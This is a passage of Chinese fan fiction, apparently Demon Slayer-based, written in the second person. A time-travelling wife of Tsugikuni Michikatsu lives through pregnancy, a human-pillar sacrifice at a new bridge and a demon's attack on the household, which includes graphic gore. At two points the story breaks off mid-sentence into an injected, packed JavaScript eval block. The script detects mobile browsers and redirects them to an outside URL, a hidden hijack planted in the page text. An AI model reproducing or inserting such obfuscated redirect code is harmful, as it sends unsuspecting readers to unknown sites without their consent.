生物钟强大的作用下,你睁开眼,窗纸上才透出一点光亮。 这么早,肯定没睡够,你想也不想,赌气继续睡。 岩胜习惯性地爬起披上衣服,到了放刀的地方摸了个空,才想起昨天吃饭的时候阿系特意把刀要走了。 他愣了一会儿,回到床前,不知对你说什么才好。 你睁开一只眼睛又很快闭上:“别吵。” 他笑出来,就在旁边和衣而卧。你往被子里缩了缩。 你们一起躺到天光大亮,挤在镜子前梳通头发。 这个时代的人发型都很简单,你是低马尾、他是高马尾。他帮你绑好后面的发带,你帮他梳拢头发总成一把,然后一点点梳高,就是最后一步做不好,没有弹性的布带总是在你手里散开,还是他自己绕上去的。 你的指尖从他的发顶落到发梢,丝丝缕缕的赫色从指缝滑过,折射出绸缎般的质感。感觉,好神奇。你的头发和眼睛都是纯黑不带一丝杂色的,而岩胜都有点红。 你知道东亚人其实纯色的少,以前做早操无聊观察别人的后脑勺,有人的发色在阳光下发灰,有人不照着太阳也带点米色,眼睛细看的话也是深浅不一的棕。而你头发黑得像墨,凑近镜子使劲看,也不容易分清虹膜和瞳孔的界限。 不过,粗略一看的话,你也没什么特别的,岩胜才是稀罕得很啊。 趁着他低头绑发带,你玩了一会儿他的头发,忽然想起动物世界里说灵长类动物互相梳理毛发交流感情,一下子没忍住笑喷了。 “又在想什么?” “没有。” 你用力揉揉酸痛的两颊,出了屋子才止住笑。岩胜跟在一旁,时不时看你一眼,被传染地也笑了,都不知在笑什么。 早餐是无论如何都来不及了,你让厨房多做了几样,凑成一顿早午餐,又给岩胜多塞了些干粮,才打发了他出门,来处理堆积下的家务。 差不多点的事,奶娘和阿系都代劳了,只剩佃农的交的租你得亲自看。 前几年老是打仗,收成不可能理想,现在是消停了,天气又有些反常。你究竟没有多少剥削者的自觉,面子上过得去就爽快翻篇,不计较那几毫几厘的利,盘完账,所有人都开开心心地走了。 你甩甩手腕、敲敲肩膀,心想,在人和土地高度绑定的小社会里做统治阶级,其实和做大家长没多少区别。权力也就是责任,你从他们手里拿“家用”,要关心他们的困难,保障他们的生活,供给基本的生产资料,维持最低限度的平稳。即使不劳力,劳心也是少不了的。 收拾完,你到了桌前,抽出凳子坐下,书找出来,文房四宝摆好,却好一会儿没动,感受着身体里微妙的痛感。 婚姻生活的大部分内容,都体验过了,目前还不坏,日后不会有什么应付不了的了吧? 生活的车轮碰到一点小坎继续平稳前行,你只多了一项任务,就是每天给岩胜绑头发。 系发带的手法你越来越熟练,晚上的事也一样,虽然有时候,你还是会脸红。 慢慢适应后,你还是谈不上有多享受这种事,但你喜欢两个人在密切接触中互相给予满足的感觉,所以不算坏。疼痛很难避免,你几乎不去掩饰,气极了就报复回去,岩胜对此很抱歉,他尽量用别的方式弥补。 唉,该头疼避孕的事了。 每一天,当你探出毛笔吸干砚台里的墨汁,捡起一片叶子夹到书里,或裁开布料缝制一件新衣,都在心里默默地祈求,生育这种事能有多晚就多晚吧。 日子就这么过着,一叠叠的书长高上去,一摞摞纸瘪下来,架子上你的笛子和岩胜的棋谱交错放着,你把它们分门别类安置好,感到内心的某种宁静。 就这样,岩胜和你先后过了十八岁成年的日子,顺利从高中生进阶成大学生(并不),传宗接代的压力更大了。 你稳如泰山,绝不自乱阵脚。 奶娘消停下来,再不追问生孩子的事,再催就只能让家主纳妾了,她心疼你,转而求神拜佛给你求子,你觉得她有事干挺好,从不加以阻拦。 可惜世道不太平,安静了数年的国境又有摩擦传来,虽不至于爆发战争,有经验的人都能嗅到一触即发的硝烟味。岩胜回到早出晚归、行色匆匆的状态,像刚结婚时那样。 你很心疼他,归家卸甲后都想试着帮他按摩或揉揉缓解肌肉的疲劳,但每次不管怎么用劲都收效甚微,他的肌肉太硬,你累得满头大汗也捏不动,只得放弃改为捶背。不过从表情看,你的拳头也同样没有力度。 笼罩在继国家上空的阴云时刻提醒你,生活并不平静。 奶娘也加入到读经、祈祷的行列中,每天跟你到小佛堂里的打转。她比你这个自诩唯物主义者虔诚过了,每念完一段,就信誓旦旦地说:“佛祖一定能保佑我们,以后不用打仗。” 你大概记得日本战国时代持续了一百多年,期间战争、阴谋、流血和对抗始终是主流,因此笑不出来。 无论怎么看,这都不是生孩子的好时候。 可不管你怎么担忧,该来的总会来。连续两个月没有在床垫、裙子上找到熟悉的血迹,你冷静地叫来了医生。 11. 第 11 章 临近继国家领地的地方爆发了一场不大不小的械斗,起因只是简单的争水。 天未亮,岩胜得到消息,立即起来披甲,你点着灯一直送到二门外,才依依不舍地回去。 这已是这个月的第三回,问题得不到根本解决,这样的争端不会停。 一开始,你想的很简单,对照着图纸发挥所剩无几的数学能力设计了一套各个聚集点出发路程相同的水井建设方案,也成功落实了下去,可到了取水的时候,人们照样闹。 岩胜说,不把他们打怕了是不行的。 你明白过来,种地的水是不嫌多的,仗着人多势众闹一闹就能获利,守规矩的人才是傻瓜。 这就是乱世,旧有的规则失去约束力,所有人都要在无情的碰撞中摸索出一套新规则来,在这之前谁拳头大听谁的。 岩胜调动的下级武士逐渐增多,听说其他家也是。怕的不是争水这种小事,而是有人借机生事,挑起更大的祸端。 你坐家里发愁,更担心岩胜的安危。他倒是往来寻常,眉头都不皱一下。 唯有一次,他匆匆回家用餐,你擦拭脱下的皮甲,摸到了一手血。 听到你惊恐的叫声,他丢下筷子过来,连忙安慰道:“这是溅上的,我一点事也没有。” 这是真的,他换衣服时你仔细看了,一道伤口也没有,那这出血量就意味着,有人死去了。 有人刚刚死去了,他的血还是热的。 你浑身颤抖,内心的震荡久久不能平静。 岩胜扶着你到对屋坐下:“这种事以后不要做了,让下人来。” “我很快就能处理好了。”他补充道。 你抱着肚子,不敢问要怎么处理。 你非常非常担心他。 形势在八月份过后迅速变坏,河流东边的武士们决定联合起来征讨对岸过火的同行。你已有心理准备,收拾好了要用的东西。 出征在即,岩胜每晚宿在前厅,整日和下属们商量对策。你穿过门廊走进来,带来打包好的衣物。 贴身穿的内衣放一个包袱,搭配盔甲穿的阵羽织放另一个包袱,你简短地交待完,刚要说点别的,就被一个讨厌的声音打断了: “真是晦气啊!夫人自重,就不该来男人的地方,这下好了,沾了女人的晦气,还怎么打胜仗?” 你怒目而视! 那是一个颇有资历的家臣,听说在老家主的时候就得重用。你以为迷信的也就公公一人,没想到是上行下效,你简直怒火中烧。 女人要是晦气,那女人生出来的男人才是最晦气的! 你气得就要反驳,刚蓄好力,劲儿就卸了:你能跟这帮字面意义上的老封建说什么,男女平等吗? 嘀嘀咕咕声从四周传来。 “就是、就是。” “怎么能让她进来?” “唉,怀孕的女人更是……” 算了。 你最终只是沉下脸,默默地站起来。 “能不能打胜仗,看的是自己。”岩胜低沉的声音响起来,从容不迫,带着不容辩驳的威严。 “再让我听到这种话,我只会认为你们根本没有信心、能力,提前给失败找借口,知道了?” 临行前,他上马,拨转马头在门前多打转了半圈。 “我从来就不信这个。”他道。 你回他一个安心的微笑。 岩胜打马离去。 武士在上战场前要避免接触女人,甚至女人碰过的东西都不行。这话岩胜从小听过不下百遍,从不同人口中说出信誓旦旦的相似内容,真的会让听者不知不觉就坚信不疑。岩胜接触过的武士,即使不那么讲究的,也会格外在意这点。 他还记得小时候,父亲每逢要出兵,就一个人待在小屋子里净身斋戒,连续三天谁也不见,绝不沾半点不吉利的东西。可他同时又像别的武士一样,相信妻子亲手打上的盔甲绳结是平安归来的吉兆。 这不是自相矛盾吗? 小岩胜问了出来,然后挨了顿打。 之后,他再也没有对父亲各种明显相冲突的行为提出过质疑,除了去世前的那晚。 岩胜挥刀而出,取走面前敌人的性命,头也不回地向前。 不过,就在刚刚,他有了一点别的体会。 飞溅的血水与你缩回的苍白指尖在脑海中重叠,他回忆起了你的恐惧。 那就是妇人之仁呀。他对自己说。 仅仅是猜测到死亡的发生,就会想到他生前的样子,因而格外地不忍,女人就是这样,而武士只是让这种念头稍停留一会儿,刀就会变钝。 作战前不要见到女人的用意,应该是这个才对。 这一番胜利换来你生产前的安静时光,你们有了大把的空闲可以在一起。 为了确保健康,你减少看书的时间,更多在院子里散步活动,记录体重变化,尽量控制不要上涨太快。 岩胜就在家里练武,处理其他事务,收了刀一身汗冲个澡,刚好陪你进屋,你和他学围棋当做胎教。 于是,欣赏岩胜的剑术成为每天的固定项目。 成年后,他的身高固定下来,目测有一米九多,光是站着,就给人气宇轩昂的感觉。你只到他肩膀下面一点。 曾经,你不喜欢太高的人,高个很好,可超过一定的数值看着就有些怪异了,校园里偶然碰到的快两米的男生,都驼着背一副无精打采的样子,走起路沉重又笨拙。但岩胜就完全不是这样。 你看他在清晨未散的雾气中拔出刀,仅蓄势待发的架势就非同寻常。他出招轻盈又迅捷,破空声如尖锐的呼啸,刀光闪烁没有一丝拖泥带水。 你总是走着走着就停下来,静静地看完,体味那些符合力学的动作本身所具有的美感,就像一个人不必懂引擎,也可以从豪华跑车的流线型外表上猜出它有多贵。 岩胜的强大是不辩自明的。 可面对你的赞美,他一次也不能坦然接受。 “还差一点,还不到完美的程度。” 他这样说着,好像心中已有一个完美的模具,自己所做努力就是套进去,做到一样。 你认为知道努力的方向是一件好事,磨练技艺的人大部分都是在黑暗中乱碰,摸到一点前方的亮光,就是进步的时候到了。 你是这般想的,也这般告诉他了。 岩胜的反应有些奇怪。 “不完全是这样,”他躲闪道,“总之,我还差着呢。” 在剑术的精进上,他常常流露出和自身实力不相符的焦虑,你想起高三每一次模拟考公布成绩和排名的时候,自己也是一样的焦虑。 再迫切的追求也不能让你年年高三,而岩胜自觉自愿地做到。你叹服,又隐隐感到不安。这种情绪除非下一次考好,否则谁也不能抹平,不知道岩胜心中的考试什么时候是个头。 岩胜也从不和你交流这个,他擦擦额头上的水,流畅地摆开棋局,吃掉你的黑子。 你连输数局,负气走开,吹笛子去了。 岩胜就安安静静地听,有时也问一句:“这支没听过,你从哪里学来这么多曲子的?” 你说:“没听过就对了,这是明国传来的曲调,只有我会。” 就这样玩笑几句。 担心的各种不良反应没有出现,你平稳度过了最危险的几个月。 身体的不适少,不能减轻你内心的重负。 随着腹部吹气球一样鼓起,你的生存焦虑与日俱增。 “一切顺利的话我就不多说了,”你念念叨叨地交待着,“都死了也不用说了,但要是我死了,孩子却活着的话……” 你打了个寒噤。在儿童夭折率逼近一半的古代,出现这种情况和都死也差不了多少了。可该说的还要说。 “你就等孩子大点再续娶吧。” 母亲在生完最小的弟弟后溘然长逝,父亲除去丧服就娶了新妻子进门,你虽然每天把孩子抱在怀里,他还是没活过百日。 没娘,爹也不管,孩子就是地狱开局。至于老公,你并没有所谓死后的占有欲。也许是死过一次了吧,虽然过程迅速毫无感觉,但死去元知万事空是怎么回事,你是真切地感受到了。 过去就只能过去,前世父母的痛苦你一个“逝去之人”无能为力,他们往后的喜怒哀乐也与你无关了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048777|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 所以,活着爽过就行了,岩胜不仅没有对不起你还一直待你不错,武士的婚姻也很重要,是政治的一部分,属于必需品,干嘛要拦着。 “乱想什么。”岩胜不快地打断了你,“我会一直陪着你的。” 岩胜把信件、账册捡要紧的先看了,规划好接下来所有的行程,将生产前后一个月的时间全部空出来。 为此,他很是忙碌了一段日子。 今年的收成还是很不好,光看看数字,人就要咂舌。 你看着账目,会禁不住怀疑是不是自己太好说话,人们都来糊弄你。 岩胜说各地的摩擦损失了不少劳动力,农事不修是很正常的事。和你关系比较好的几家佃户带来另一种说法。 他们说,原本这一片的农民时代都挖渠从河流中引水灌溉,大家都很方便,可近十年来两岸的武士据河道互相攻伐,无不先拿附近的人家开刀,中间的田产几易其手,水利近乎荒废,人们也不敢就近取水,各地连绵数月的争水根源也在此。 他们大着胆子来和你说的原因是,继国家在上一场的战斗中,将控制范围推到了这条河水边上。 你再傻也听得出这言外之意,虽不好当面应承什么,心里还是把它记了下来。 几天后,岩胜外出归来,给你带来远方的珍贵礼物。 此前,他按惯例前往京都将军处送贺仪。各地方的管领、守护、代官齐聚室町,他们互相夸耀战功,宴饮斗酒,成群结队地涌入二条柳町寻欢作乐,抛洒出惊人的财富,也收敛各色奇珍。 岩胜无意作陪,如果可以的话,一口酒都不想喝。他见多了被酒色掏空的人是什么样子,再高明的武士也会因为酗酒成性的双手抖个不停,任何影响挥刀的堕落行径,他都深恶痛绝。但这种情形下独善其身,绝不是理智行为。 岩胜端起酒杯,沾沾唇就放下来。一旁斟酒的艺伎讪讪地放下添杯用的壶,掩饰地垂眸微笑,头上的花穗轻轻摇晃。 他想起在家的时候,你很高兴他不喜欢喝酒。 看遍销金窟里的丑态,岩胜动身返回领地,只买了一匹此地久负盛名的西阵织,淡青底的布料上洒满白色的百合花。他想,送给你穿正合适。 虽然不怎么在意,但他对女人的衣着还是有基本印象的。华丽的打褂下是一层层的单衣、小袖,胸前堆起的领口像翻开的书页,五颜六色地叠在一起。 而你不这样,你是能少一件就一件的,若不是身量修长,都显得有些单薄了。他想,你常穿的素色里衬,搭这样一件外衣刚刚好,花纹也很相配。 回家换下面君的直垂,他就将怀中的包袱取出,观察你拆开的表情。 你展开衣料挂在一侧肩上看一眼,便叠好放回去了。 “夫君大人,”你长跪的姿势可以说很正式了,“这也太贵重了。” 他摩挲在你肩头的手指停住,你们结婚这么多年,从没一刻这么像一对标准的封建家主和夫人。 “这算什么。”他手一挥,好笑道,“有话坐着说。” 你也觉得这个姿势太像演古装剧,笑一下,赶紧忍住。 “真的是太贵重了,”你把包袱推过去,“这笔钱足够做很多更重要的事。” “家主大人,”你说,“用这笔钱给您的臣民建一座桥吧。” 这是你想了很久才想出来的办法,修一座沟通两边的桥,岸边的居民自然能嗅到上层想要修好的意图,不会再畏惧到河中取水,普通人往来更加方便,或许也可以弥合多年争端的裂痕。 但这事,不是你这个身份位置的人能决定的,你只能按君臣夫妻的规训向岩胜劝谏,指望他去执行,或者想一个更有可行性的办法。 你下垂的两手叠在身前,额头郑重地贴上去。因为在做正确的事,心里并不感到屈辱。平时也没少跪坐,多少人活得水深火热,这算得了什么? 岩胜将衣料重新打开,披在你身上。 “和我想的一样好看,拿去做一件漂亮的衣服吧,”他看着你露出不解的表情,语调轻松,“难办的事,尽管交给我。” 你这才不好意思起来,低头捂着脸,小步跑回了房间。 12. 第 12 章 事情推进的很顺利,岩胜亲自过河,同对面当家的秋山家主议定了桥梁的选址,不日后就将开工。 听说,他返回后的次日,下游就有人家偷偷复垦了那里弃置的农田。 你深感自己做了一件好事,接连几天都很高兴,奶娘劝你少管外面的事也不放在心上。 正式动土那天,秋山家请来了几位著名的连歌师,就在林泉寺举行连歌会。 僧侣、公卿、武士济济一堂,大家在怀纸上写下应景的韵文,依次吟诵成篇。 几位大师声称曾为天皇献艺,文采果然不错,一开始你还试着在心里默默地跟几句,几联后,他们调转风头把对主家的奉承巧妙地嵌入诗句中,歌会变成商业互吹,你就叹为观止了。 专业的事果然要专业的人来做,你和各家女眷坐在一旁的禅房里,偶尔听到风送来一两句,实在是佩服得紧,几位自诩有才华的夫人也交头接耳地点评几句,夹杂着日常闲话。 可,听着听着,你就坐不住了。要不是奶娘眼疾手快拉了一把,你都要站起来了。 “不好意思,秋山夫人,”你尽量压抑住情绪,让语气不徐不疾,“我刚刚没有听明白,什么叫做‘打生桩’?” “唉呀呀,”秋山夫人摇摇手里的扇子,因为被打断了话很是不快,“继国家许久不动工了吧,夫人连这个都不明白了?” 你顾不得她话语里的讥讽,追问道:“我是说,你们说的那个、那个,就是那个……真要这么办?” 你努力了半天也没说出“那个”来,带着疑问扫视一圈,期待有人给你否定的答案。 某位夫人打圆场道:“我们不说这个了,听听刚才那句诗,写得真妙。” 你不说话。 秋山夫人脸拉了下来,她怀疑你是存心要在这样的场合下她的面子,故而不再容忍,啪一下扇子丢到一旁的矮桌上:“就这么办,不然怎么办?人都选好了,今天就办。” 你站起来推门而出。 疾步走在寺庙长长的回廊里,你急出了一身汗,顾不上擦拭,只管往前走。奶娘在后面追不上,低声喊你也不听。 穿过一道道门,你直奔举行歌会的前厅,终于在最后一扇遮挡的屏风前,奶娘扑过来使劲抱住了你的腿。 “你这是做什么呀!快回去,这是男人待的地方,这么过去,脸要不要了?好好的,发什么疯?” 你喘着粗气,说不出话。因为过于激动,腹部隐隐地不适。 看着你皱眉,奶娘赶紧道:“还怀着身子呐,折腾个什么劲儿!都快生了,别摔着了!” 你摇摇头,还往前走。 “什么事?”岩胜出来了。 他关切地看着你:“我听着就像你,怎么到这儿来了?” “岩胜,”你一把抱住他的胳膊,“他们、他们要杀人,他们要在桥底下活埋一个人!” 你从来不觉得自己是一个多高尚的人,穿越过来,发现自己是剥削阶级,你是沾沾自喜过的,也很快适应了被伺候的生活。你能做什么?顶多少提要求,让下人们多歇会儿,多给点儿钱罢了。在任何情况下坚守现代人的价值观,高举自由、民主、平等之旗什么的,想都不会想。 你觉得那些到了古代就适应环境安心当米虫的女主就长你这样了,可事到临头才发现,有些底线不是你想突破就能突破得了的。 那是一条命,活生生的人命啊! “你说打生桩?”岩胜明白了。 “别急,”他立刻道,“你回家,我去和他们说。” 会后,各家的武士们离开寺庙来到岸边,这是一座沟通三国七家武士的桥梁,家主们都来见证奠基仪式。 仪式上,继国家主主动提出愿捐献若干犬羊兽类作为奠基牲守护桥梁,被秋山和其他家的家主们拒绝了。 “人牲是最好的。”他们说道。 这就是你等来的消息。 “我是不是害了人?”你痛苦地揪起头发问他们,“我是不是害死了一条人命?” 你不提,也许永远都不会有人想起修桥,没这座桥,大家只是过得苦一点,可现在,实实在在有人无比凄惨地死去了。 “这,干嘛这么想啊,”奶娘的声音听起来虚虚的,“这种事,多着呢……” “夫人,”阿系也来劝你,“谁家盖屋建房不埋几个人柱,没这回也有下次,怎么能怪夫人呢?” “是啊、是啊,修桥铺路是大功德,菩萨也会保佑夫人的,别多想了,都是命。” 你完全没有捕捉到她们的本意,而是—— “盖房子也要、也要?” “对啊,”奶娘犹豫道,“当年时透家受封在这儿,听说初代家主往屋底下埋了一个女人镇宅呢,继国家也一样吧,阿系你说是不是?” 看到阿系点头,你头皮发麻,手里的杯子掉下去,跌成碎片。 自以为安稳的生活,原来从头到脚建立在一片尸骸之上,而你也间接地增加了其中一具。 你吐得天昏地暗。 岩胜回来的时候,你已经什么也吐不出来了,痰盂里是刚刚呕出的清水。 “就不能想想办法救人吗?”你哭着问他,“这么做到底有什么必要啊,非得死个人吗?” “你听我说,”岩胜冷静地轻拍着你的背,“我去看过她,亲口问过了,她是自愿做人柱的。” 你愣住,像听到了什么天方夜谭。 这怎么可能? “是真的。”岩胜手上用了点力,环住腰间带着你靠过来,两个人依偎成半拥抱的姿势。你头抵着他的锁骨,肩贴在胸膛,半个身子置身在他的投影下。 “我也担心是谎言,问了好几遍,派人去问答案都一样,你听吗?” 你赶紧擦干眼泪,扬起脸来。 岩胜的目光移向一旁闪烁的烛火,他说得很慢,一字一句都让你听得清清楚楚。 “她是一个寡妇,丈夫就死在几天前争水的火并中,家里两个儿子实在养活不了,所以秋山家的人到村子里挑人的时候,她主动站了出来。秋山家主答应她,会让她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048778|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子当武士。” 你明白了,阶级跨越的诱惑力在任何时代都有人愿肝脑涂地,何况她已困苦到如此地步。 “可是、可是……”你半天说不出可是后面的内容。 可是,不应该是这样的呀!人命不应该是用来做这种交换的呀! 你难以从这冲击中回过神来,内心痛苦到了极点。 “那,你能不能告诉我她叫什么名字?” “花子。” 不奇怪,女人的名字平平无奇,村口喊一声,怕是有好几个一起回头。上一次收税清账,你至少在名册上看到过七八个花子。奶娘,也叫花子。 “奶娘,”要入睡的时候,你叫她,“为什么要来时透家,做我的奶娘呢?” “哪有为什么,”她眼神躲闪一下,“我家那口子去了,孩子养不活,我能怎么办?” “那你的孩子呢?”你问,每次给奶娘放假她都说家里没啥好瞧的,还留在你身边。 奶娘铺好床:“给钱让邻居帮忙养,第二年就死了,这都是命。” 她重复了好几遍“这都是命”,把被角掖得平平整整才擦擦眼睛。 “那你还有其他家人吗?”有的话就接过来,你怎么早没想到呢? “都不管我,理他们做什么?” “好了,睡吧,”她准备走了,“这都过去了,你就和我的孩子一样。” “嗯,”你闭上眼睛,“你也和我的妈妈一样。” 你为这现实彻夜地流泪,不敢睡着,怕梦见一个女人还有很多很多女人埋土里的样子,岩胜就在身边,无声地从背后抱住你。 天亮时你顶着两只肿泡眼爬起来,咬牙切齿地宣布:“我得盯着他们,敢不兑现诺言,我、我就——” 也不能怎么着。 你气得直拍脑门。 “我真是傻了,怎么能指望那种人守约。”你转头去,“岩胜,我们把他们,把那两个孩子接过来吧,我们来培养他们做武士。” 岩胜答应了你。他说近来战死了几位士兵,那两个孩子刚好补阙。 你感到了些许安慰,心里依旧空落落的。 派出去的侍卫花了几天功夫,才从村子最偏远的一处窝棚里,找到了两个脏兮兮小男孩。 他们有数日不曾吃饭,累得走不动,只能先养一会儿,再带回继国家。 你听了下人报回的消息,知道秋山家果然出尔反尔,又是好一阵难受。 与此同时,造桥的工程已准备就绪,河中心打好了木桩,围堰用的石料就堆在岸边,桥头的位置挖了一个深坑,那就是埋人柱的地方。 更深露重,工匠们都休息去了。坑底瘦骨嶙峋的女人,半边身子在土外,胸口剧烈地起伏。 她已咒骂、哭号了一整天,现在一点力气都没有了。 浓黑的夜色中走出一道更暗的身影,两点梅红色的光像不详的鬼火,探出的手指无比苍白。 “让我看看这么重的怨气能带来什么惊喜吧。女人,想要我的血吗?”他道。 13. 第 13 章 傍晚时分,两个孩子洗刷干净、换上新衣,被带进庭院,领到你面前。 看着他们惊慌、躲闪的眼神,你顿感棘手。 要怎么把他们培养成武士呢?你理不出头绪来。 职位和阶层世袭的情况下,教育完全被垄断在家庭内部,普通人就算进了那个圈子,分不到资源照样是白瞎。那个可怜的女人稍微明白一点,就会听出秋山家在骗她。 想到这里,你心口堵得慌。 “长屋里收拾一间空房子,让他们先住下。”你吩咐道。 和武士生活在一起,适应起来快,偷师也会比较方便吧?至于其他的,来日方长。 临行前,你招呼他们过来,挨个抱抱,摸摸他们硌人的肩膀,鼓励他们好好学习。 奶娘眼珠快瞪出来,人刚走,就大呼小叫,要你赶紧洗手。 自打怀孕来,你忤逆她太多,这会儿不敢声张,干脆走开了。 “以后,不许管闲事了,”她拿着手巾地追上来,“管一件,闹出多少事来。” 你点头如捣蒜,不多嘴一句。 奶娘给你擦手,一边擦一边叹气:“如今这世道可不太平,事情越少越好。你昨晚听见没有?听说狼下山来了,嚎了半夜,真瘆人。” 这不能不问了。“有人受伤吗?受伤了赶紧请医师啊。”你说。 “谁知道呢,光看见一地血,没听说谁家少了人。家主一早就是干这个去了,听说要找山里的猎户下夹子,还要通知各家紧闭门户。你倒好,又是找人,又是往回带人的。” “我怎么没听说?” “你说呢?” 你讨好道:“行行行,我以后什么也不折腾了,你说好不好?” 她收拾好东西,翻个白眼走了。 打狼捕熊是靠山生活的必要流程了,你并不陌生,只是觉得奇怪:狼是这个季节下山吗? 你莫名地不安,听奶娘的话,派人检查各处门户,只留一道门等岩胜回来。 这样过了两天,外面风声越来越紧:有人在林地里捡到了带血的衣服,撕扯的不成样,有人说夜里听到了狼啃咬骨头的声音。 村子里人心惶惶,可猎户来了一拨又一拨,谁也没逮着狼。别说狼了,狼毛也没见几根。 岩胜将每日巡逻的路线延长了一倍。 你足不出户,每天最多到院子里转悠一圈,保持运动量,方便生产。 新来的孩子和岩胜安排的老师学起了剑术,你远远地看了几眼,没有去打扰。嘴里说些不痛不痒的话,会让你觉得自己很虚伪。梗在心头的愧疚感还没有消散,你不知道该怎么面对。 反倒是奶娘盯你盯得紧,自己却偷偷看了他们好几次,送了几件衣服和一碟点心。 “他们命太苦,我到菩萨跟前给念念经。”她这样说。 你不胜唏嘘。 岩胜巡夜归来,你已躺到了被褥里,他轻抚你的肚子,问你是不是该搭建产房了。 “再等一个月吧,”你说,“这些天太忙了。” 最终,你没能住到产房里。 出事的那天,并不比寻常有什么不同。 太阳刚刚落下,满月只有天边的一点,风还是暖的,你用过晚饭在廊下散步,奶娘和阿系坐屋里缝制小衣服和小襁褓,下人扫地的扫地,擦桌子的擦桌子,偶尔八卦几句秋山家主几天没出门了,不知在捣鼓什么。 第一声尖叫传来,你还在发懵,没意识到发生了什么。 “狼,有狼!快把门关上!” 岩胜留下的侍卫立即行动起来,他们快速跑过去,用圆木顶住大门。 如果来的是狼,那它可够快、够猛的。 接二连三的惨叫想起,不用看,正门肯定失守了。 “夫人,快跟我回屋!长屋门的人会来保护夫人的。”阿系反应极快,马上冲了出来。 你清醒过来,赶忙拉住她:“不行,孩子们还在那里呢,怎么能让他们涉险呢?” 阿系愣住,明显反应了一会儿才想起“孩子们”是谁。 “夫人别担心,”她立即道,“你先回屋,奴婢去把孩子抱过来。” 你恨不得甩自己两巴掌。 “都不许去,”你大喊道,“让大家都躲起来,别往外撞!” 来不及了,你的话来不及到该到的地方,武士们已遵循他们的本能,带着刀一个个冲了出来。 离得近了,你看清“狼”的本相:奇怪凸起的四肢,破破烂烂的长袍随风飘荡,还拖着长长的头发,干枯的发下隐约可见呲起的牙齿和滴落的涎液…… 这哪里是狼,分明是人!人会是这个模样吗? 你全身响起了警报,腿却不听使唤,一个劲儿往下软。阿系眼疾手快一把拉起来,奶娘也来接应,两个人七手八脚把你拽了进去。 薄薄的木门纸窗根本拦不住那个怪人,几个呼吸间,整个板壁都掀翻过去,她闯了进来,直起身头机械地转动,无神的双眼依次打量你们三个,裂成两半的推拉门外,七零八落地躺满了尸体。 瞬间,你坚持了两辈子的唯物主义世界观碎成了渣。 “快,快跑……你们快跑……”你抱着一阵阵紧缩的肚子蹲下去,有气无力道。 你是跑不动了,走路都够呛,能活一个是一个吧。 奶娘抱着你泪流满面,阿系举起了倒地上的桌子,你急得厉害,却说不出话来,腹部紧缩的痛感更加明显,身下有什么正汩汩地涌出。 “快跑……”你疼得要晕过去,眼前一阵阵发黑。 是要早产了吗,偏偏是这个时候…… 阿系大喊一声扑上去,你拦不住她,惨剧眼看要重演,那怪物挥舞的双臂陡然一僵。 不远处,两道小小的身影喊叫着什么飞奔过来。 是那两个孩子!他们人小跑得慢,这才到了内院。 他们一个个,怎么就不知道逃命要紧? 你吃痛地支起身子,正要呵斥,不妨晚风吹来了他们的呼喊。 “妈妈,妈妈!”他们叫道。 妈妈? 你不明所以,阿系也迟疑地顿住,两个孩子冲上来,抱住怪物的腰。 “妈妈、妈妈!”他们哭着呼喊。 怪物仰天长啸,抡圆了胳膊,拎起脖子一边一个全甩了出去。 小一点的那个飞出去好远,挂在破开的窗框,咔嚓一声头软软地耷拉下来。大的就落在你跟前,满头满脸地血,还在叫妈妈。 “花子!”你叫道。 害怕的情绪还没上来,血腥味扑鼻而来,你控制不住地干呕,身体疼得蜷缩起来。 咯吱、咯吱、咯吱…… 这是什么声音? 看不清楚……怎么她们都在哭? “快,快!”是奶娘带着哭腔的催促。 她们还没跑? 你急得要命,疼得也要命,汗水浸湿了衣裳。两双手伸过来,一双托在胁下,一双抬着腿,还要把你往出带。 咯吱、咯吱、咯吱……咔嚓、咔嚓…… 头无力地垂下,你终于看清楚,是怪物正抱着哪儿卸下来的手臂在啃! 妈妈、妈妈的呼声渐弱,屋里只剩下啃食骨头的声音。 你被这骇人的景象震慑,忘了身上的剧痛、忘了关心他人,脑海只剩一片纯粹的空白。 妈妈啊…… “别怕、别怕!”奶娘的泪水滴在你的脸上,“家主马上就回来了!” 你想抬起手摸摸她的脸,至少安慰几句,可半悬空的姿势找不到发力点,嗓子也哑得不像话。 咚。啃完的胳膊扔到了地上。下一秒怪物跳到你面前,这时,月亮升起,你看见她青白的脸几乎就贴着你的脸,锐利的指爪毫不留情的挥下。 好痛! 你感到后背一凉,眼前被血色笼罩,剧烈的疼痛马上袭来,半边身子顿时失去知觉变得麻木,下身的痛也不算什么了。 “花子……”你喃喃道。 这就要死了吗? 好多血…… 你等着下一击更凶悍的厮打,却奇怪地看到她满脸通红,非人的纺锤状瞳孔涣散开,醉酒一样乱飘,行动完全丧失了敏捷,速度连普通人都不如。 “夫人!” “姬君!” 阿系、奶娘两人狼狈地爬过来,刚才那一掀,她们受伤也不轻。 虽然不知道是什么状况,但,要逃跑现在就是最好的时机! 她们两个重新拖住你,硬拽着离开了这间杀戮和死亡的屋子。 血淅淅沥沥地淋了一路,分不清是谁的。 你感到一阵激烈的发动,痛苦地叫出来。 “坚持住,再坚持一会儿,马上就好了,知道吗?”奶娘叫着你的乳名 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下一秒,奇迹发生。 你没有看到事情的全过程,难产的痛比什么都要命,你早就什么都顾不上。 像被斧子劈、像被车撞,你要活生生地裂成两半,不然怎么会这么痛? 